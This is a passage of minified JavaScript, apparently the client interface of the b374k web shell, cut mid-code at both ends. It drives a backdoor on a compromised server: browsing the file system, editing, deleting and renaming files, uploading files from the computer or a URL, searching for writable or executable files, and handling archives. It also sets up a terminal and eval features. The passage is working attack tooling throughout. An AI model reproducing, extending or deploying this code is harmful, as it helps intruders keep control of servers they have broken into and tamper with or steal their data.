b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab='explorer';var currentTab=$('#'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer='';var dragX='';var dragY='';var dragDeltaX='';var dragDeltaY='';var editSuccess='';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer='';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on('resize',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$('.menuitem').on('click',function(e){selectedTab=$(this).attr('href').substr(2);show_tab(selectedTab)});$('#logout').on('click',function(e){var cookie=document.cookie.split(';');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$('#totop').on('click',function(e){$(window).scrollTop(0)});$('#totop').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('top')});$('#totop').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#tobottom').on('click',function(e){$(window).scrollTop($(document).height()-$(window).height())});$('#tobottom').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('bottom')});$('#tobottom').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#basicInfo').on('mouseenter',function(e){$('#toggleBasicInfo').show()});$('#basicInfo').on('mouseleave',function(e){$('#toggleBasicInfo').hide()});$('#toggleBasicInfo').on('click',function(e){$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide();localStorage.setItem('infoBarShown','hidden')});$('#showinfo').on('click',function(e){$('#basicInfo').show();$('#showinfo').hide();localStorage.setItem('infoBarShown','shown')});if((infoBarShown=localStorage.getItem('infoBarShown'))){if(infoBarShown=='shown'){$('#basicInfo').show();$('#showinfo').hide()}else{$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log('b374k> '+str)}function window_resize(){bodyWidth=$('body').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$('#nav');menu=$('#menu');headerNav=$('#headerNav');content=$('#content');nav.prependTo('#content');nav.css('padding','5px 8px');nav.css('margin-top','8px');nav.css('display','block');nav.addClass('border');menu.children().css('width','100%');menu.hide();$('#menuButton').remove();headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");menu.attr('onclick',"\$('#menu').hide();");$('#xplTable tr>:nth-child(4)').hide();$('#xplTable tr>:nth-child(5)').hide();if(!win){$('#xplTable tr>:nth-child(6)').hide()}tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$('.box').css('width','100%');$('.box').css('height','100%');$('.box').css('left','0px');$('.box').css('top','0px');paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=true}function layout_normal(){nav=$('#nav');menu=$('#menu');content=$('#content');nav.insertAfter('#b374k');nav.css('padding','0');nav.css('margin-top','0');nav.css('display','inline');nav.removeClass('border');menu.children().css('width','auto');menu.show();$('#menuButton').remove();menu.attr('onclick',"");$('#xplTable tr>:nth-child(4)').show();$('#xplTable tr>:nth-child(5)').show();if(!win){$('#xplTable tr>:nth-child(6)').show();colspan=4}else colspan=3;tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=false}function start_scroll(str){if(str=='top'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('top')",scrollSpeed);$(window).scrollTop(to)}}else if(str=='bottom'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('bottom')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie('cwd'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"	"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp('(?:^|; )'+encodeURIComponent(key)+'=([^;]*)').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+'='+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&amp;");str=str.replace(/"/g,"&quot;");str=str.replace(/'/g,"&#039;");str=str.replace(/</g,"&lt;");str=str.replace(/>/g,"&gt;")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:'POST',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$('#overlay').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$('#loading');img.css('transform','rotate('+loading_count+'deg)');img.css('-ms-transform','rotate('+loading_count+'deg)');img.css('-webkit-transform','rotate('+loading_count+'deg)');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$('#loading');img.css('transform','rotate(0deg)');img.css('-ms-transform','rotate(0deg)');img.css('-webkit-transform','rotate(0deg)');$('#overlay').hide();running=false}}function show_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}$('.menuitemSelected').removeClass("menuitemSelected");$('#menu'+id).addClass("menuitemSelected");tabScroll[currentTab.attr('id')]=$(window).scrollTop();currentTab.hide();currentTab=$('#'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";$('#content').append(box);box_width=$('.box').width();body_width=$('body').width();box_height=$('.box').height();body_height=$('body').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$('.box').css('width','100%');$('.box').css('height','100%')}$('.box').css('left',x+'px');$('.box').css('top',y+'px');$('.boxclose').on('click',function(e){hide_box()});if(!portableMode){$('.boxtitle').on('click',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($('.box').css('left'));dragDeltaY=e.pageY-parseInt($('.box').css('top'));drag_start()}else drag_stop()})}$(document).off('keyup');$(document).on('keyup',function(e){if(e.keyCode==27)hide_box()});if($('.box input')[0])$('.box input')[0].focus()}function hide_box(){$(document).off('keyup');$('.box').remove()}function drag_start(){if(!onDrag){onDrag=true;$('body').off('mousemove');$('body').on('mousemove',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout('drag_loop()',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$('.box').css('left',x+'px');$('.box').css('top',y+'px');setTimeout('drag_loop()',50)}}function drag_stop(){onDrag=false;$('body').off('mousemove')}function get_all_cbox_selected(id,callback){var buffer=new Array();$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$('#'+id).find('.cBox').off('click');$('#'+id).find('.cBoxAll').off('click');$('#'+id).find('.cBox').on('click',function(e){if($(this).hasClass('cBoxSelected')){$(this).removeClass('cBoxSelected')}else $(this).addClass('cBoxSelected');if(callback!=null)window[callback]()});$('#'+id).find('.cBoxAll').on('click',function(e){if($(this).hasClass('cBoxSelected')){$('#'+id).find('.cBox').removeClass('cBoxSelected');$('#'+id).find('.cBoxAll').removeClass('cBoxSelected')}else{$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content='';if(type=='file')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";if(type=='dir')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";if(type=='dot')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles='true';send_post({cd:path,showfiles:showfiles},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==3){$('#nav').html(splits[1]);if(showfiles=='true'){$('#explorer').html('');$('#explorer').html(splits[2]);sorttable.k($('#xplTable').get(0))}$('#terminalCwd').html(html_safe(get_cwd())+'&gt;');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp='true';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){$('#explorer').html('');$('#explorer').html(res);xpl_bind();show_tab('explorer');if((type=='edit')||(type=='hex')){editResult=(type=='edit')?$('#editResult'):$('#editHexResult');if(editSuccess=='success'){editResult.html(' ( File saved )')}else if(editSuccess=='error'){editResult.html(' ( Failed to save file )')}editSuccess=''}cbox_bind('editTbl')}})}function view_entry(el){if($(el).attr('data-path')!=''){entry=$(el).attr('data-path');$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");$('#form').submit();$('#form').html('')}}function ren(path){title="Rename";content="<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='"+path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$('.renameFile').val();renameFileTo=$('.renameFileTo').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded');$('.renameFile').val($('.renameFileTo').val())}else $('.boxresult').html('Operation(s) failed')})}function newfolder(path){title="New Folder";path=path+'newfolder-'+time();content="<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$('.newFolder').val();send_post({newFolder:newFolder},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function newfile(path){title="New File";path=path+'newfile-'+time();content="<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$('.newFile').val();send_post({newFile:newFile},function(res){if(res!='error'){view(newFile,'edit');$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function viewfileorfolder(){title="View File / Folder";content="<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$('.viewFileorFolder').val();send_post({viewFileorFolder:entry},function(res){if(res!='error'){if(res=='file'){view(entry,'auto');show_tab('explorer')}else if(res=='folder'){navigate(entry);show_tab('explorer')}}})}function del(path){title="Delete";content="<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$('.delete').val();send_post({delete:path},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function find(path){findfile="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";findfolder="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";$('#explorer').html("<div id='xplUpload'>"+findfile+'<br>'+findfolder+'</div>');cbox_bind('xplUpload')}function find_go_file(){find_go('file')}function find_go_folder(){find_go('folder')}function find_go(findType){findPath=(findType=='file')?$('.findfilePath').val():$('.findFolderPath').val();findResult=(findType=='file')?$('.findfileResult'):$('.findResult');findName=(findType=='file')?$('.findfileFilename').val():$('.findFoldername').val();findNameRegex=(findType=='file')?$('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();findNameInsensitive=(findType=='file')?$('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();findContent=(findType=='file')?$('.findfileContains').val():"";findContentRegex=(findType=='file')?$('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";findContentInsensitive=(findType=='file')?$('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";findReadable=(findType=='file')?$('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();findWritable=(findType=='file')?$('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();findExecutable=(findType=='file')?$('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!='error'){findResult.html(res)}})}function ul_go_comp(){ul_go('comp')}function ul_go_url(){ul_go('url')}function ul(path){ulcomputer="<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";ulurl="<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";content=ulcomputer+'<br>'+ulurl+"<input type='hidden' class='ul_path' value='"+path+"'>";$('#explorer').html(content);ul_add_comp();ul_add_url();$('#ulDragNDrop').on('dragenter',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('dragover',function(e){e.stopPropagation();e.preventDefault()});$('#ulDragNDrop').on('drop',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$('.ulDragNDropResult');ulResult.html('');$.each(files,function(i){if(this){ulType='DragNDrop';filename=this.name;var formData=new FormData();formData.append('ulFile',this);formData.append('ulSaveTo',get_cwd());formData.append('ulFilename',filename);formData.append('ulType','comp');entry="<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);if(this.size<=0){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($('.ul_path').val());$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>")}function ul_add_url(path){path=html_safe($('.ul_path').val());$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:'POST',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener('progress',function(e){percent=Math.floor(e.loaded/e.total*100);$('.ulProgress'+ulType+i).html('( '+percent+'% )')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res='error'}if(res=='error'){$('.ulProgress'+ulType+i).html('( failed )')}else{$('.ulRes'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType=='comp')?$('.ulFileComp'):$('.ulFileUrl');ulResult=(ulType=='comp')?$('.ulCompResult'):$('.ulUrlResult');ulResult.html('');ulFile.each(function(i){if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){file=(ulType=='comp')?this.files[0]:this.value;filename=(ulType=='comp')?file.name:file.substring(file.lastIndexOf('/')+1);ulSaveTo=(ulType=='comp')?$('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;ulFilename=(ulType=='comp')?$('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;var formData=new FormData();formData.append('ulFile',file);formData.append('ulSaveTo',ulSaveTo);formData.append('ulFilename',ulFilename);formData.append('ulType',ulType);entry="<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";ulResult.append(entry);check=true;if(ulType=='comp'){check=(file.size<=0)}else check=(file=="");if(check){$('.ulProgress'+ulType+i).html('( failed )');$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save('edit')}function edit_save_hex(){edit_save('hex')}function edit_save(editType){editFilename=$('#editFilename').val();editInput=$('#editInput').val();editSuccess=false;preserveTimestamp='false';if($('.cBox').hasClass('cBoxSelected'))preserveTimestamp='true';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){editSuccess='success';view(editFilename,editType,preserveTimestamp)}else editSuccess='error'})}function mass_act(type){buffer=get_all_cbox_selected('xplTable','xpl_href');if((type=='cut')||(type=='copy')){localStorage.setItem('bufferLength',buffer.length);localStorage.setItem('bufferAction',type);$.each(buffer,function(i,v){localStorage.setItem('buffer_'+i,v)})}else if(type=='paste'){bufferLength=localStorage.getItem('bufferLength');bufferAction=localStorage.getItem('bufferAction');if(bufferLength>0){massBuffer='';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem('buffer_'+i))){massBuffer+=buff+'
'}}massBuffer=$.trim(massBuffer);if(bufferAction=='cut')title='move';else if(bufferAction=='copy')title='copy';content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){if(type=='extract (tar)')arcType='untar';else if(type=='extract (tar.gz)')arcType='untargz';else if(type=='extract (zip)')arcType='unzip';if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){date=new Date();rand=date.getTime();if(type=='compress (tar)'){arcType='tar';arcFilename=rand+'.tar'}else if(type=='compress (tar.gz)'){arcType='targz';arcFilename=rand+'.tar.gz'}else if(type=='compress (zip)'){arcType='zip';arcFilename=rand+'.zip'}if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
'});massBuffer=$.trim(massBuffer);title=type;content="<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=''){if(buffer.length>0){massBuffer='';$.each(buffer,function(i,v){massBuffer+=v+'
